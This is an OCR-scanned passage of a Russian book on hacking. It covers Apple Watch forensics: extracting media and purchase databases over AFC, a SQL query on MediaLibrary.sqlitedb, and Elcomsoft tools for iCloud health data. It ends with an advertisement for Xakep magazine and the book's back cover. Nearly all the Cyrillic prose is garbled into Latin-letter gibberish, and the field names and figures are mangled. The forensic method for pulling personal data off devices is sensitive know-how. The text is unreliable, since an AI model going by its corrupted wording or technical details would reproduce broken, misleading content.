PHY_MODE integer 1 ] E s |
UseDirected boolean falze i 2 dict i

Puc. 15.21. WU3yuerue noros Wi-Fi

Hoctyn kK Mmeauacdannam

O nmocryne k menuadaiinam cTtout pacckasats noapobuee. M3pneus meauadaiinb MOXKHO
KOMaHIOM M (Media) B mpuioxenuun Elcomsoft iOS Forensic Toolkit. MHTepec npen-
CTABISIFOT HE CTOJIBKO camu poTorpaduu, ckomnbko 6aza naHHbIX Photos.sqlite.

[pakTHUYeCKH eAMHCTBEHHBIN CrIOco0 MoMy4YuTh J0CTyN K Meanadaiinam us yacos Apple
Watch TpeGyet ucrnonb3oBanus yTHINTHL, paboTatouteit no nporokony AFC (Apple File
Conduit). TTpu 3TOM Yachl JOKHBI ObITh MOAKIOYEHbI K KOMIBIOTEPY, a MEXKIY KOMITb-
IOTEPOM M YacaMu YCTAHOBIICHBI JIOBEPEHHbBIE OTHOLIEHHUS (pairing).

Kak 6b1j10 ckazaHo paHee, Meanadaiabl 1erko U3BJIeYb KOMaHA0M M (Media Files) Mpo-
rpammel i10S Forensic Toolkit. Kaszanocs 6b1, Bce mpocto: meauadaiinbs — 310 doTorpa-
buK U, BO3MOKHO, BUICOPOIUKH; YTO UHTEPECHOTO MOXKET HaiThCh B aiinax ¢ yacos?
Oxa3bIBaeTcsi, WHTEPECHOrO JOBOJBHO MHOTO — M OCHOBHOHM MHTEPEC MpECTaBsSIOT
BoBce He camu (otorpaduu. Ha puc. 15.22 nokazaHa CTpyKTypa Namnok, cosjgaBaemast
nocjie u3BieueHus Meauadaiinos no nporokonay AFC.

el . Name
=S AFC __iPurchases =
4o} DCIM . _.iPublicStaging
.1 Downloads ___iPhotoData

__}iTunes_Control
. lgeneral_storage

-} general_storage
i} iTunes_Control

41} PhotoData ,_TJDCIM

__} Photos —iDownloads
“___} PublicStaging \__iPhotos
-} Purchases

Puc. 15.22. CTpykTypa nanox,
cosjaBaemas nocne uaeneveHns meguacdannos no npotokony AFC
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Cob6cTBeHHO M300pakeHHs (B CHJIbHO YMEHBIIEHHOM MO CPaBHEHHMIO C OPUTMHAIaMH BH-
ae) nonazatot B nanky DCIM; 3aeck 6e3 cropripuzoB. HecMoTps Ha TO 4TO M300paXKeHUs
3HAYUTEJIBHO YMEHBLIEHbI (CTpaHHO ObuTO OBl MepenaBaTh Ha 4Yachl MOJHOPa3MEPHBIE
¢dororpadum), cucrema coxpanser B Hux mertarerd EXIF, uto mo3sonser ompenenutsb
TaKye MapaMeTpbl, KaKk TOYHOE BPeMs ChEMKH M YCTPOMCTBO, HCIOJIb3OBaBLUEECS ISt
¢ororpadumu.

B nanke iTunes_Control\iTunes cozxepxurcs BecbMa HHTepecHas 0a3a JaHHBIX
MediaLibrary.sqlitedb. Ciona >xe Bxoast u coorserctBytoume ¢aiisi SHM (Shared
Memory) u WAL (Write Ahead Log). Cama 6a3a naHHbIX, KaKk OUY€BHIHO W3 Ha3BaHHS,
xpaHutes B popmare SQLite (kak, BpoyeM, U Bce ocTalibHble 0a3bl JaHHBIX Ha Yacax).
B sToii 6a3e nexar takue mannble, kak iCloud ID nmons3oBaresns, a Takke CIIHCOK MOKY-
nok B MarazuHe iTunes (MOKYNKH My3bIKH, GHIBMOB M 3JIEKTPOHHBIX KHMT). UTO MHTe-
pecHo, B 3TOM (paiine XpaHuTcs WH(OpPMALIUA O MOKYMKaX, COBEPLIEHHbIX CO BCEX YCT-
POMCTB MoJIb30BaTENS, 3aperMCTPUPOBAHHBIX B IaHHOW yueTHOM 3anucH. B 6a3e maHHbIX
36 tabmuu. Unentudukarop nons3osarens iCloud ID xpanurcs B Tabnuue _MLData-
baseProperties (puc. 15.23).

B T value oh e
é - Click heré to 5&{:5: a filter
[ 1] uuo 471A6E83-7387-4D44-B6EE-06AFBBBC25B1
2 MLCloudDatabaseUserVersion 380110
3 Orderinglanguage it-1T
4 MLSortMapUnicodeVersion "
5 MLSyncClientGenerationiD 1894746158599307206
6 autoCreatedSmartPlaylistsDeleted 1
7 createdBuiltinSmartPlaylists 1
8 MLSynclLibrarylD D4E964E9-623A-41C7-B0OC2-8B85765680BA
9 MLCloudDatabaseRevision 0
10 MLjaliscoAccountlD 1321761630 |
11 MLStorefrontiD 143450-7,35
12 MLJaliscoNeedsUpdateForTokens 0
13 MLJaliscoLastSupportedMediaKinds 41394304,1,65536,32
14 MLJaliscoDatabaseRevision 1504986125
3| 15 MLCloudDatabasePreferredVideoQuality -1

Puc. 15.23. U3BneyeHune nHaukartopa nonb3osarens iCloud ID

Yro6bl u3BNeub U3 Ga3bl JAHHBIX KaKyIO-TO OCMBIC/IEHHYIO HHMOpMaLHmio, chopMUpyeM
3anpoc SQL:

select
ext.title AS "Title",
ext.media kind AS "Media Type",
itep.format AS "File format",
ext.location AS "File",
ext.total time ms AS "Total time (ms)",
ext.file size AS "File size",
ext.year AS "Year",
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alb.album AS "Album Name",
alba.album artist AS "Artist",
com. composer AS "Composer",
gen.genre AS "Genre",
art.artwork token AS "Artwork",
itev.extended content rating AS "Content rating",
itev.movie info AS "Movie information",
ext.description long AS "Description",
ite.track number AS "Track number",
sto.account_id AS "Account ID",
strftime('%d/%m/%Y $H:%M:%S', datetime(sto.date purchased +
978397200, 'unixepoch') )date purchased,
sto.store item id AS "Item ID",
sto.purchase history id AS "Purchase History ID",
ext.copyright AS "Copyright"
from item extra ext
join item store sto using (item pid)
join item ite using (item pid)
join item stats ites using (item pid)
join item playback itep using (item pid)
join item video itev using (item pid)
left join album alb on sto.item pid=alb.representative item pid
left join album artist alba on sto.item pid=alba.representative item pid
left join composer com on sto.item pid=com.representative item pid
left join genre gen on sto.item pid=gen.representative item pid
left join item artist itea on sto.item pid=itea.representative item pid
left join artwork token art on sto.item pid=art.entity pid

DTOT 3ampoc M3BJEHET JeTalbHYI0 WH(OPMALMIO O MOKYMNKaX MOJIb30BaTeNs, BKIOYAs
Ha3BaHWe MpOJyKTa (Harmpumep, Ha3BaHHUe (UIbMA, MY3bIKAJBLHOTO anbbOMa WIIK dJIeK-
TPOHHOWN KHUTH), pa3mep (aiinia, AIUTETbHOCT 3ByYaHUS WM MPOCMOTpPA KOMITO3ULIMH,
JIaTy TMOKYNKHA W MISHTU(UKATOp MCTOPHM NMOKYNoK. Eciu kynneHHbii daitn xpanurcs
Ha camMMX yacax, 3/7ech ke OyneTr u ums ¢aiina. Kynnenssie daiinel (Ha npuMepe HIKe
9TO MY3bIKa) MO’KHO 0OHapy»xuTh B narnke Purchases (puc. 15.24).

Wnrepec npencrasisier v nanka PhotoData, B koTopoli XpaHsTCcs MeTaaHHble CHHXPO-
HU3MpOBaHHbIX (ororpaduit. HambGonblumii MHTEpec mnpeacTaBisioT 0a3a JaHHBIX
Photos.sqlite 1 nanka Thumbnails. B 6aze Photos.sqlite conepxxutcs wHbopmanms
0 (hororpadusx, KOTopbie XpaHsTCs Ha yacax. JleTanbHoe onucaHue CTpyKTyphbl Oasbl 1oc-
TynHo 31eck: https://www.forensicmikel.com/2019/05/02/ios-photos-sqlite-forensics/.
['otoBbie 3anpockl SQL MoxHO ckauatb 3aeck: https://github.com/kacos2000/queries/
blob/master/Photos_sqlite.sql.

Hakoneu, B nanke Thumbnails XpaHaTcd yMmeHbLIEHHbIE NPEBbIO H300paKeHUH Ha
Apple Watch. ®opmar ITHMB moxHo npeobpa3oBats B npubiunbiii JPEG npu nomouiu
yruiutel iThmb Converter, kotopas nocTynHa ajsi ckauuMBaHus mocbuike http://www.
ithmbconverter.com.
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tad T Namea = ©

&L AFC :
41 DCIM © _IB117677501144294582.md2
.1 Downloads L] 6117677501144284524.mda
-] general_storage L) 6117677501144204585.mda
4] iTunes_Control LJ6117677501144294586.mda
41 PhotoData . LJ6117677501144294587.mda
] Photos | 6117677501144294588.mda

_16117677501144294583.m4a
_16117677501144294590.mda
|_}6117677501144284591.mda
|_}6117677501144284592.mda
_18117677501144294593.mda
_}B117677501144294585.mda
|_}6117677501144294596.m4a
_J6117677501144294597.mda
_I6117677501144284598.mda
_1611767750114429459%.m4a

».__} PublicStaging
1 0urchases

Puc. 15.24. KynneHHble daitnel MoxXHO 06HapyxuTb B nanke Purchases

BbiBoabl

Uepe3 mepexoAHHWK Mbl MOJYYWIIA JaXke MeHblle MH(OpMAallMK, YeM [pu aHalu3e pe-
3€pBHOM KOMUM 4yacoB. Tem He MeHee, LIEHHOCTh 3THUX JIaHHBIX HECPABHUMO BBILIE, YEM
JAHHBIX M3 Pe3ePBHOM KOMWH: JJIs MOJyYeHHUs AOCTyna KO Beel 3Toi nHdopmauuu Ham
HE HY)XEH CBSI3aHHbIA ¢ yacamu iPhone — BMojHe AOCTAaTOYHO caMUX 4acoB. MHorue
JlaHHbIE YHUKAJIbHbI; 0cO00 LIEHHBI JIOTH YacoB BooO1e U joru PowerLog B yacTHOCTH,
a TaKKe TalloHbl U3 npunokeHus Wallet.

MoskHo Jini u3Bjeub Oosbiue? Jla, MOKHO, €CJIM [JIs1 4acoB OYAeT NOCTyINeH LKeHIOpeik.
Jns akryaneHeix Bepcud WatchOS mielinOpeiika ceffuac He cyulecTByeT. EnnHcTBEHHOM
nonbITKOM Obiio  npunokenue jelbrekTime (MMeHHO B TakoM HaNHWCaHWM) s
WatchOS 4.0-4.1.

CuTyanus MOJKET U3MEeHHThCS B Ommkaidiiee Bpems. Jlins WatchOS 4.0-5.1.2 anoncupo-
BaH Jukeiiopeiik Brenbreak, koTopsiii 00ealoT BIMTYCTUTh JIsl BCEX aKTyaJlbHBIX BEP-
cuii yacoB 10 KoHu@a 2019 roma. Mbl ¢ HeTeprieHHeM OJKHIAeM BbIXOJa JuKeHnOpeiika,
4TOOBI CHATH HakoHel 00pa3 (ailIoBOM CHCTEMbI HYAacOB M MOCMOTPETh, YTO TaM Hai-
JeTCsl.

HocTyn 4yepes obnako

Yro euie MOXKHO W3BJeyb M3 yacoB? C TEXHUYECKOW TOUKM 3PEHMsI U3 CaMUX YacOB —
HHUYero, Ho u3 obuaka iCloud MokHO M3BIEYb YacTh HH(pOpMaLIUK, KoTopyto iPhone mno-
JydaeT UMeHHO oT uacoB Apple Watch. Peub 0 nanubix «370poBbe», B COCTAB KOTOPBIX
BXOJMT CUETYMK LIAroB, JaHHbIe CO BCTpPOeHHOro B 4ackl Hapuratopa GPS, naHHble
cepaLeOMeHHs MOJIb30BaTeNsl U CHSTBIE JIEKTPOKAPAMOTPAMMBI, @ TaKyKe JPYrue THUIIbI
JaHHBIX, /U1 TIOJYYEHHs KOTOPBIX MOTJIH UCIOJIb30BAThCS CTOPOHHHE MPHIIOKEHHS.

Jdns nocryna k undopmamu HeoOxoaum Elcomsoft Phone Breaker (https://www.
elcomsoft.com/appb.html), unctpykims (https://blog.elcomsoft.com/2019/01/securing-
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and-extracting-health-data-apple-health-vs-google-fit/, u3Bnexatorcs naxe Te naHHble,
KoTopele Apple He oTaaeT Mo 3anpocy OT MPaBOOXPAHUTENbHBIX opraHoB). [[is npo-
CMOTpa OaHHBIX MOXHO Bocmojb3oBatbesi Elcomsoft Phone Viewer (https:/www.
elcomsoft.com/epv.html). BHewnuit Bua 3Toro npuioxkeHus nokasa Ha puc. 15.25.

@ & Eicomsaft Phone Viewer
(w- Health MW EYSF
¥ Fiter RSN
oate @&® T O o g =
o 17.09.2014 a g Al - )
o 22.11.2018 v g 11400
Mos? 11.2018 0R:14:44 (UTC +4) Z2AT. 2018 CH: 1444 (UTC <4)
“ Source ILS 14:00:25 (UTC +4) 15 14:00:25 (UTC +4)
~ Exavepuia’s Appie Watch
Viadimir's Apple Watch
iHeatth
. Viadimir's iPhone Xr 27.11.2018 08:13:37 (UT..  27.11.2018 08:14:44 (UT..  Viadimir's Apple Watch 4 Apple Watch Serles 4 (GPS)  Hardware versi.. 37 count/min
' Viadimir’s Appie Watch 3
27.11.2018 08:05:49 (UT...  27.11.2018 08:11:42 (UT..  Viadimir’s Apple Watch 4 Apple Watch Series 4 (GPS)  Hordware versi.. 94 court/min
< Viadimir's Apple Watch 4
27.11.2018 08:03:58 (UT..  27.11.2018 08:06:03 (UT.. Viacimirs Apple Watch 4 Apple Walch Series 4 (GPS)  Herdware versi.. 92 count/min
27.11.2018 07:58:19 (UT...  27.11.2018 08:03:37 (UT..  Viadimir's Apple Watch 4 Apple Watch Series 4 (GPS)  Hardware versi 79 count/min
- Device
27.41.2018 07:53:35 (UT..  27.11.2018 07:54:40 (UT..  Viadimir's Apple Watch 4 Apple Watch Serfes 4 (GPS)  Hardware versL. 85 count/min
= ADpiS Walkh 27.11.2018 07:51:07 (UT..  27.14.2018 07:52:28 (UT..  Viadimie’s Apple Watch 4 Aopie Watch Series 4 (GPS)  Hardware versi.. 115 count/min
= Unknown Apple Watch
" 27.11.2018 07:45:14 (UT..  27.11.2018 07:53:59 (UT.. Viadim's Apple Watch 4 Apple Watch Serfes 4 (GPS)  Hardware versL.. 84 asun/min
- Appie Watch Series 3 27.11.2018 07:40:25 (UT..  27.11.2018 07:48:07 (UT..  Viadimr's Apple Watch 4 Apple Watch Sertes 4 (GPS)  Hardware versi.. 89 count/min
e S e e SR R ey e
Puc. 15.25. MNporpamma Elcomsoft Phone Viewer

M3BneveHue u aHanu3 qaHHbIX YacoB Apple Watch — noctaTtouHo HOBas U Masion3y4eH-
Has Tema. B To ke Bpems psaa Bewed (Hanpumep, xypHasi PowerLog) npencraenstor
UCKJIIOYUTENIbHBIH MHTEepeC ISl SKCIEPTOB-KPUMHUHAIUCTOB. YK€ W3BECTHBI HECKOJIBKO
CJlyyaeB, KOr/Jla yCHelHO PacKpbIBAJIUCh MPECTYIJIEHUS, BO BPEMSI COBEPILIEHHs KOTOPBIX
NPECTYMHUK OCTABJIS/T CMapTHOH 10Ma, HO 3a0bIBajl CHATH 4achl WM TPEKEP, U OHU MPO-
JIOJIKAJTY 3aMTUChIBaTh HH(OPMALIHIO.

K coxanenuto, npu uccie0BaHUM AOCTYIHBIMH Ul YAaCOB METOAAMM HaM He yJajioch
nobpatecs 10 )KypHajia ¢ uctopuel mectonosoxenus (4acsl Apple Watch obopyaytorcs
aBTOHOMHBIM naTuukoM GPS, koTopwiii aBTOMaTHYeckd BKJIOuaeTcs, ecin WatchOS
CUMTAET, 4YTO MOJIb30BaTe b Hayall TPEHUPOBKY). He yaanoch nojyuuTs A0CTYI M K AaH-
HbIM YCTAHOBJIEHHbIX Ha 4acax MpuIokKeHHWH. OTCyTCTBHE NMOJIHOLEHHOM CiykObl pe-
3ePBHOTO KOMUPOBaHUs HE MO3BOJISET CO3/IaTh CBEXKYIO PE3ePBHYIO KOIMHIO YacOB MHAuE,
4yeM OTBf3aB MX OT cMaptdoHa iPhone (nmpuuem B MOMEHT, KOr/ia 4achl MOAKIHOYEHbBI
k Tenepony uepes Bluetooth unn Wi-Fi). OtcyrcTBHe B npoaaxe agantepoB Wisi Noj-
KIIOUEHHS K KOMMbIOTEpY akTyasibHO# Bepcun Apple Watch 4 nenaer HEBO3MOKHBIM
M3BJICYEHHE JKMU3HEHHO BaKHBIX JKypHamoB. MHbiMM cloBamu, uccienoBanue Apple
Watch toneko HaunHaeTcs.



«Xakep»: |
Ge3onacHocCTb, pa3pabortka, DevOps

Hcropus xypnana «Xakep» Havanack 3a10iro 10 ¢eepans 1999 roma, xorza yBuaen
CBET nepBblii HOMep u3aanus. Eule B HosaOpe 1998 B cern DALnet nosiBuiics pyccko-
s3piuHbId  [RC-kanan #xakep, rae akTMBHO 00CY)KIaMMCh KOMIBIOTEPHbIE UTPbI U MPHUEMbI
MX B3jI0Ma, a TaKKe MpPOYME CBSA3aHHbIE C BBICOKMMM TeXHojorusmu seuwu. Torjaa ske
B HeJlpax OCHOBaHHOM J/Imurpuem ArapyHoBbiM komnanuu Gameland 3apoaunace uzes
BBIITYCKAaTh OAHOMMEHHBIN JKypHal, NpaB/a, W3HayalbHO OH 3aJyMbIBAJICS, Kak reimep-
ckuii. HoBoe wm3nanue M0/DKHO ObUIO MOAXBATMTH BbIMaBLIEE 3HAMs HECKOJIbKMX 3a-
KPBIBUIMXCS KOMIBIOTEPHBIX JKYPHAJIOB, He NepexxuBIUNX Kpusuc 1998 rona. B otiinune
OT MOMYJISIPHOrO «IJISHLA» TEPBOM MOJIOBUHBI «HYJIEBBIX», Haes «Xakepa» He Oblia 3a-
MMCTBOBAHA Yy KaKoro-iMO0 W3BECTHOIO 3aMajIHOro M3/1aHMs, a M3HAYallbHO SIBJISIACH
MOJIHOCTBIO OPUTMHATILHOW M CaMOOBITHOM.

YuraTtenu npuHsiaM >kypHan Gosee yeM GarocKJIOHHO: MEpBbId HoMep «Xakepa» Obul
MOJHOCTBIO pacKyIuieH B MOCKBe 3a HECKOJbKO YacoB, Jayke HECMOTPsSl Ha TO, YTO OH
MOCTYIUI B NpoAaxy B 6 Beuepa. XKypHan ObICTpo Habpan BHPYCHYIO MOMYJISPHOCTD,
a OIHOM M3 caMbIX YMTaeMbIX pyOpHK «Xakepa» craji pasz[elN «3anaiiocTpoeHHey, B KO-
TOPOM aBTOPbI LIEAPO JCIUWINUCH C aYAUTOPUEH MPAKTHYECKUMH PELENnTaMH U MPOBEpEeH-
HbIMH CIOCOOAMH HANaKOCTUTh OJMXKHEMY CBOEMY MpH MOMOLUM Pa3jiMYHBIX TEXHH-
YECKUX CPEACTB pa3HON CTENEeHH U30LIPEHHOCTH.

Bckope oz BausHUEM 4HTATENbCKUX OTKJIMKOB TEMaTHKa KypHasa CTajla MCHATBCH, T10-
CTENEHHO CMELIAACh OT UTPOBOW MHIYCTPHUH B CTOPOHY TEXHOJIOTMI B3JIOMa M 3alllUThI
uHdopmaLuK, 4To, B OOILEM-TO, BIOJIHE JIOTHYHO IS M3JaHUsl C TaKUM Ha3BaHHUEM.
Onun u3 otuoB-ocHoBatesnei «Xakepay, Jenuc JlaBblaoB, MOCBATHUBLIMK CBOE TBOPUYECT-
BO KOMIMBLIOTEPHBIM MIPaM, BCKOPE MOKMHYJ PEIAKLMOHHBIH KOJJIEKTHB, YTOOBI BCTATh
BO IJlaBe COOCTBEHHOrO ypHasa: TaK MOSBHIACH Ha CBET jiereHuapHas «MUrpomanusy.
Hy a «Xakep» ¢ Tex nop cocpeoTo4MICA Ha BONPOCcaX, U3HAYAIBLHO 3aJI0KEHHBIX B €ro
JAHK — xakepcTBo, B3j710M W 3aliuTa JaHHbiX. B mapre 1999 roga Gbut 3anyuieH cait
JKypHaja, Ha KOTOPOM MyOJIMKOBAJIMCh AHOHCHI CBEJKMX HOMEPOB —- 3TOT CAWT U MO Ce
J€Hb MOXKHO HalTH 1o azipecy xakep.ru.

Ve B 2001 romy tupax «Xaxepa» coctaBun 50 Thic. dk3emmispoB. Bckope mnocne
CBOEro TOSBJIEHHUA Ha CBET JKYpPHaJl YBEPEHHO 3aBOEBAjl 3BaHUE OJHOIO W3 CaMbIX MO-
NyJISAPHBIX KOMIBIOTEPHBIX U3IaHUM B MOJIOZIEKHOM cpene — o KpaliHel Mepe, MMEHHO
TaK CUMTAET pyccKos3bluHas «Bukuneansy. «Xakep» peryyispHO B3pbIBall YUTATEIbCKHE
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MaccChl BECEJILIMU CTaThbIMH O METOAAX B3/I0Ma JIOMO(OHOB, MOYTOBbIX CEPBEPOB U BeO-
CaiToB, BpeMeHaMH BbI3biBasi ()PyCTpPALMIO Yy MPOU3BOAKTENEH MPOrpaMMHOro odecre-
YeHHWs M MPOuMX MNpejacTaBuTeel kpynHoro OusHeca. Ha «Xakep» nucanm xanoObl, a
GnarosapHbie YMTaTeM NPUHOCUIN B PEAaKLMIO MUBO. Ero coTpyaHMKOB npuriailaim
Ha TeJIEBUIEHHE W PaMO0, a CaMO M3aHHME B TO JK€ CaMO€ BPeMsl Ha3blBaJIM «BECTHUKOM
KPUMHHAILHOH CYOKyIbTYyphl». B 00lieM, W aBTOpbl, MU UMTATENIM PA3BIEKAIUCh, Kak
MOTJIH.

«XaKep» pa3BUBaJICA U pOC, MPOAOJIKAA ﬂy6ﬂHKOBaTb UHTEPECHBLIE CTATbH 00 ornepauum-
OHHBIX CHCTEMax, MmporpamMmmax. CeTAX, rauketax W KOMIILKOTEPHOM <(GKEJIE3E». OueHb
CKOpO BCE€ MpUCHLIAEMbBIE aBTOpaMHU MaTepHalibl NEPECTAIM NOMEIIATLCA TI01 OAHY 00-
JIOKKY, U HEKOTOPLIC cyry6o TEXHUYECKUE TEKCThI MNOCTENEHHO MEPEKOYCBAJIN B OTACJIb-
HO€ TEMAaTHYECCKOC MPUJIOKEHHUE 101 Ha3BAHUEM «XaKep Criewy.

B 2006 rogy oobem «Xakepa» eBa He cTajl pekopaHbiM — 192 nosocel. Beimyctuts
HOMEP TaKOM TOJLIMHbI HE NMOIYYHIOCh HCKIFOYMTEIBHO MO TEXHUYECKUM npuunHam. Co
BpEMEHEM pe/IaKIIMOHHAs MOIUTHKA CTajla MEHATBCA: B JKypHAJIE MOABIIAIOCH BCE MEHb-
IIe XYJMIaHCKUX CTaTeil, MOCBSLIEHHBIX BCEBO3MOXKHBIM KOMIIbIOTEPHBIM Oe300pa3usm,
U BCce OoJIblile — aHATMTUYECKUX MAaTEepPUAIOB O CEKpeTax MporpaMMHUpOBaHMs, aIMHHU-
CTpUpOBaHMUs, MHPOPMALIMOHHOM 0€30MacHOCTH M 3auiuTe AaHHbIX. Ho B31OMy KOMMBIO-
TEPHBIX CHCTEM Ha CTpaHWLAX «XaKepa» MO-TPEKHE iy Y/IEs10Ch CaMOe MPUCTAIbHOE
BHUMaHHE.

KutouesbiM 17151 ucTopuu skypHaia ctai 2013 roa, koraa napasaienbHO ¢ TpaaULHOHHOM
OyMa)kHOW BepcHed cTalla BBIXOJIUTb 3JIEKTPOHHAS, KOTOPYK) MOXKHO ObLIO CKayaThb
B Bujge PDF-¢aiina. A nocnennuii OymaxkHblii HOMEp ’KypHana yBMJE] CBET JIETOM
2015 rona. C To#i mopsl «Xakep» MU31aeTCs UCKIHOUUTEIBHO B PEKUME OHJIAMH M 10CTY-
TIeH YUTATENSIM 110 MOAMKCKE.

CerognsauiHui «Xakepy — 3TO MOMYJISIPHOE JIEKTPOHHOE M3/AaHHUE, TOCBSIIEHHOE BO-
npocaM WHGHOPMALMOHHON 0€30MacHOCTH, NPOrpaMMHUPOBAHUIO U aJIMUHUCTPUPOBAHHIO
KOMIbIOTEpHBIX ceTeil. OCHOBY ayAMTOPUH Xakep.ru cOCTaBIsIOT KCMIEPThI MO KUOep-
6e3onacHoctd U IT-cneumanuctel. Mbl NHILIEM Kak O TPEeHAAX M TEXHOJIOTMSX, TaKk W
0 KOHKPETHBIX TeMax, CBf3aHHbIX C 3alinToi MHpopmaumu. Ha crpanmuax «Xakepa»
nyoaukytores noapodousie HOWTO, npaktuueckue matepuabl 1o pa3paboTke UM aaMu-
HUCTPUPOBAHHIO, HHTEPBBIO C BbIAAIOLIMMUCS JIFOAbMH, CO3AABLIMMH TEXHOJIOTHYECKHUE
NPOIYKThI U U3BecTHbIe | T-KOMNaHUK, U, KOHEYHO, SKCMEPTHbIE cTaTbu 00 HH(OpPMALH-
oHHOM 6e30macHocTH. C Mo I0OPKOH TAKUX CTaTel Thl MMEJ BO3MOXHOCTh O3HAKOMMUTBCS
Ha CTpaHULAX TOH KHUTK. AyauTtopus caiita xakep.ru coctapaser 2 500 000 npocmor-
POB B Mecill, €llle HECKOJIbKO COTEH ThICAY MOANUCYMKOB CIE/IST 32 HOBUHKAMU )KypHasa
B COLIMAJIbHBIX CETSX.

CoBpeMeHHbIH «Xakep» OTIMYAeT HENMPUHYJXKJIEHHad, Becenas armocdepa. Y4acTHUKH
coobiectBa «Xakep.ru» rmoyiyyaroT HECKOJIBKO MaTepHAJIOB Ka)Ibli J1€Hb: MaHyallbl MO
KOJIMHTY M B3JIOMY, Taii/ibl 0 HOBBIM BO3MOKHOCTSIM M HOBBIM 3KCIUIOMTaM, MOAOOPKH
xakepckoro codra u 00630psl BeO-cepBrcoB. Ha calite «Xakepay» exeIHEeBHO MyOIUKY-
FOTCSl 3HAKOBbIE HOBOCTH M3 MHpPa KOMIBIOTEPHbIX TEXHOJIOTHM, paccKa3biBalollde O ca-
MBIX HHTepecHbIX coObITUAX B cpepe IT. Mbl exeHe1e/IbHO rOTOBUM JalIKECThI, 1e1aeM
10/I00PKH COBETOB M MOJIE3HBIX MPOTrpaMM, U3yHaeM CBEIKHE YS3BUMOCTH.
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B py6puke «B3nom» BBIXOAAT WHTEpECHbIE CTATbH O XaKEPCKUX TEXHOJIOTHUAX M YTHIIU-
Tax, pasaen «KoauHr» noceslleH XUTPOCTAM MporpaMMupoBanus, B pyopuke «llpusat-
HOCTb» COOpaHbl COBEThI MU MaHyallbl MO CETEBOW 0E30MacHOCTH U COXPAHEHHIO CBOEro
uHKorHuTo B MHtephere. Ctathn u3 pazzena « Tproku» paccKakyT O HEJOKYMEHTHPO-
BaHHBIX BO3MOYKHOCTAX cO(Ta M HECTAHIAAPTHBIX ammnapaTHbIX PEIIEHHAX, CHUCTEMHbIE
aJMMHUCTPATOPbl HAWIYT Maccy IMOJIe3HbIX pexoMmeHaanui no Hacrpoiike OC u npu-
knaaHoro [10 B paznene «Aamuny, a JHOOMTETH TaKETOB U HOBOMOJHOTO «XKele3a
CMOryT HacliaauTbes pyopukoi «Geeky.

Ipucoenunsiics k coobliecTBy «Xakepa» npsmo ceituac! Marepuasibl xKypHaia BbIXOIST
B HECKOJIbKMX (popmaTax Ha BbIOOpP. Thl MOKellb MOAMUCATHCS B MpUIOKeHUH Ha 10S
win Android ¥ 4nTaTh €KEMeCSUHbIE BBIMYCKH, MO0 0GOPMUTL MOANMKCKY HA caiTe U
MOJTyyaTh CTaThbW KaKIbIM OyIHUH JIeHb — cpa3y, Kak TOJbKO OHM Bbixoadar. [loamucka
Ha caiiTe Tak)Ke JaeT BO3MOXKHOCThH CKauyMBaTh exxemecsiuHblii PDF v untaTh Ha m000oM
y100HOM ycTpoiicTse.

Koraa «Xakep» Tonbko coszgaBaiicsi, Mbl ckazaiu cebe: «Haiwa uenbp — 4roObl cpenn
HalKX pedsT NMporpaMMHUpOBAHKE CTAJIO CaMOM MOMyspHOM npodeccueit». Mbl ucnosnb-
30BajIM 7151 3TOT0 BCE, YTO MOTJIM MPUIYMaTh, — Pa3BIEKaIUCh, 1yPauHUIUCh, KAK MOTJIU
nonyJsspusuposann Wb, nauty cyOkynabtypy u Tary k IT B 1100bIX ee NposiBIEHHUSX.
H MBI cunTaem, 4TO BO MHOTOM JIOCTHUIJIN CBOEH LIEJTH.

IIpucoenunsiics, Ml Oyzem pazbl BUAETH Te0s B Hallel TycoBke!

C cambIMM TEMJIbIMH MOXKETaHUSIMHU,
peoaxyus dcypuana «Xarkepy.
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~ Ha caitte 3a BCE BpeMss;

— ckaumBarb PDF co BCeMy BblAIINMK HOMEPaMI.

: HO}IHI’ICKY, MbI CTAPAEMCA COXPAHATE MPEKHIOK LEHY.
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cxkunabi B YIB!

XaKax M KOMHbIOTEPHBIX TPIOKaX;
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HE 3aTparnBaeT HAlVX MOCTOAHHBIX YMTATEe.
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TPHOKH

XAKEPOB

OTa KHUra — He TPagMLUMOHHbLIA CNpaBoO4-
HUK NO WH(OPMALMOHHOW 6e30MacHOCTH,
He camoyuuTenb, UHchopMaL Mo U3 KOTOPOro
MOXHO 6e3 Tpyaa HanuTu B UHTepHeTe. MNepep
BaMuU — COOPHMK TLUATEeNbHO OTOOPAaHHbIX,
CaMbIX MHTEPECHbIX, NYYLUNX Ny6nuKaumn us
nereHgapHoro XypHana «Xakep», o6begu-
HEHHbIX O6LLEel TeMON: B3NIOM.

PaccMoTpeHbl TONbKO NpakTU4eckue npue-
Mbl B3/IOMa, ONMMUCaHHble HACTOSLMUMM MpPO-
cdheccuoHanamm u MHOroKpaTHO UCNbITaHHbIE
B aene. Hukakoi «Bofgbl», TONLKO nonesHas
uHcopmauus. ATO U ecTb caMoe HacTosLiee
MCKYCCTBO XaKepCTBa B ero UCTUHHOM, KOH-
LIeHTPUPOBaHHOM BUge.

Bbi y3HaerTe:

KakK UCKaTb MU 3KCMlyaTupoBaTb Yysi3BUMOCTU
B nNporpammax;

Kak ynpasnsath npoueccamu B Windows;

KaK nepexBaTbiBaTb ynpaeneHWe npunoxe-
HUAMU;

Kak B3nomartb iPhone u Apple Watch.

ISBN 978-5-9775-6633-9

|

5977

191036, CaHkt-Merepbypr,
[oH4apHas yn., 20

Ten.: (812) 717-10-50,

339-54-17, 339-54-28

E-mail: mail@bhv.ru

Internet: www.bhv.ru

Nik Zerof

MBaH aLLy Komuccapos
Oner AcoHuH

FepmaH HamecTHukoB
Awurynb CantranuHa

«XaKep» — nereHgapHbIN XXypHan
06 uHpopmaunoHHo 6Gesonac-
HOCTU, uagarolmines ¢ 1999 ropa.
Ha npotsxeHun 20 neT Ha cTpa-
HUMLax «Xakepa» MNy6nuKyroTcs
WHTEPECHbIE CTaTby 06 onepauu-
OHHbIX CuUCTemax, nporpammax,
ceTax, ragxerax um KOMMbOTEp-
HOM «Xesie3e». Ha cante «Xa-
Kepa» eXeOHEeBHO MOSBNSITCA
3HAKOBbIE HOBOCTU 13 MUpPa KOM-
MbIOTEPHbIX TEXHOMOrUA, MaHya-
Nbl MO KOQWHIY U B3NOMY, ranapl
Mo HOBbLIM 3KCMouUTam, nogoop-
K1 Xakepckoro cogra n 0630pbl
Be6-cepsucoB. Cpegn aBTOpPOB
XypHana — aBTOPUTETHbIE 3KC-
nepTbl Mo KubepbHe3omnacHoOCTH
n IT-cneunanucTsbi.
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